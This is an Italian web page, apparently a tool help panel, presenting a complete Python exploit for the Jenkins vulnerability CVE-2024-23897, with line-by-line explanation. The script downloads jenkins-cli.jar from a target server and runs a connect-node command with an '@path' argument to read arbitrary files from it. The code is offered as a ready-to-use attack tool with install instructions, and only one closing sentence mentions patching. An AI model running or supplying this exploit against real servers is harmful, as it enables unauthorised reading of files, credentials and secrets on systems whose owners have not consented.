
exploit che vulnera Jenkins realizzato in Python

parametri ip, porta, percorso

output dell'exploit

Pannello di aiuto
Ecco la spiegazione del codice in Markdown:
Questo script è progettato per sfruttare una vulnerabilità specifica in Jenkins (CVE-2024-23897). Permette di scaricare un file JAR da un server Jenkins ed eseguire un payload per connettere un nodo Jenkins. Di seguito viene spiegata ogni parte del codice:
import argparse
import requests
import os
import subprocess
import sys
argparse: Per gestire gli argomenti della riga di comando.requests: Per effettuare richieste HTTP.os: Per interagire con il sistema operativo.subprocess: Per eseguire comandi di sistema.sys: Per interagire con l'interprete Python.bannerdef banner():
"""
Stampa un banner decorativo per lo strumento.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
Questa funzione stampa un banner decorativo all'avvio dello script.
scarica_jardef scarica_jar(ip, porta):
"""
Scarica il file jenkins-cli.jar dal server Jenkins specificato.
Args:
ip (str): Indirizzo IP del server Jenkins.
porta (str): Porta del server Jenkins.
Returns:
bool: True se il download è riuscito, False altrimenti.
"""
url = f"http://{ip}:{porta}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as file_jar:
file_jar.write(response.content)
return True
else:
print(f"\n[-] Impossibile scaricare il file. Codice di stato: {response.status_code}")
return False
except requests.RequestException as errore_http:
print(f"\n[-] Errore durante la richiesta: {errore_http}")
return False
Questa funzione scarica il file jenkins-cli.jar dal server Jenkins specificato dall'indirizzo IP e dalla porta. Se il download ha successo, salva il file sul sistema e restituisce True; altrimenti restituisce False.
attack_payloaddef attack_payload(ip, porta, percorso):
"""
Esegue il payload per connettere un nodo Jenkins.
Args:
ip (str): Indirizzo IP del server Jenkins.
porta (str): Porta del server Jenkins.
percorso (str): Percorso per leggere il file.
"""
file_jar = "jenkins-cli.jar"
payload = f"java -jar {file_jar} -s http://{ip}:{porta}/ -http connect-node @{percorso}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(file_jar)
except subprocess.CalledProcessError as errore_payload:
print(f"\n[-] Errore durante il tentativo di connettere il nodo: {errore_payload}\n")
Questa funzione esegue un comando per connettere un nodo Jenkins utilizzando il file jenkins-cli.jar. Dopo l'esecuzione del comando, elimina il file JAR. In caso di errore, mostra un messaggio di errore.
maindef main():
"""
Funzione principale che analizza gli argomenti ed esegue le funzioni corrispondenti.
"""
parser = argparse.ArgumentParser(description="\n[+] Exploit per sfruttare CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] Indirizzo IP del server Jenkins\n")
parser.add_argument("porta", type=str, help="\n[+] Porta del server Jenkins\n")
parser.add_argument("percorso", type=str, help="\n[+] Percorso per leggere il file\n")
args = parser.parse_args()
ip = args.ip
porta = args.porta
percorso = args.percorso
banner()
if scarica_jar(ip, porta):
attack_payload(ip, porta, percorso)
else:
sys.exit(1)
La funzione principale dello script:
ip, porta, percorso).banner per stampare il banner.scarica_jar per scaricare il file JAR.attack_payload per eseguire il payload; altrimenti termina lo script con codice di uscita 1.if __name__ == '__main__':
main()
Questo blocco assicura che la funzione main venga eseguita solo se lo script viene eseguito direttamente, non se viene importato come modulo.
Questo script è uno strumento per sfruttare una vulnerabilità in Jenkins. Scarica un file JAR da un server Jenkins e utilizza quel file per eseguire un payload che connette un nodo Jenkins. Gli argomenti necessari (ip, porta, percorso) vengono forniti tramite la riga di comando.
Ecco un elenco delle librerie necessarie insieme ai comandi pip install per ciascuna:
argparse: Questa libreria è inclusa nella libreria standard di Python, quindi non è necessario installarla.
requests: Per effettuare richieste HTTP.
pip install requests
os: Questa libreria è inclusa nella libreria standard di Python, quindi non è necessario installarla.
subprocess: Questa libreria è inclusa nella libreria standard di Python, quindi non è necessario installarla.
sys: Questa libreria è inclusa nella libreria standard di Python, quindi non è necessario installarla.
pip install requests
@/percorso/del/file.@/percorso/del/file e sostituisce questo argomento con il contenuto del file specificato.Aggiornare e configurare adeguatamente Jenkins è cruciale per proteggere il sistema da questa vulnerabilità.
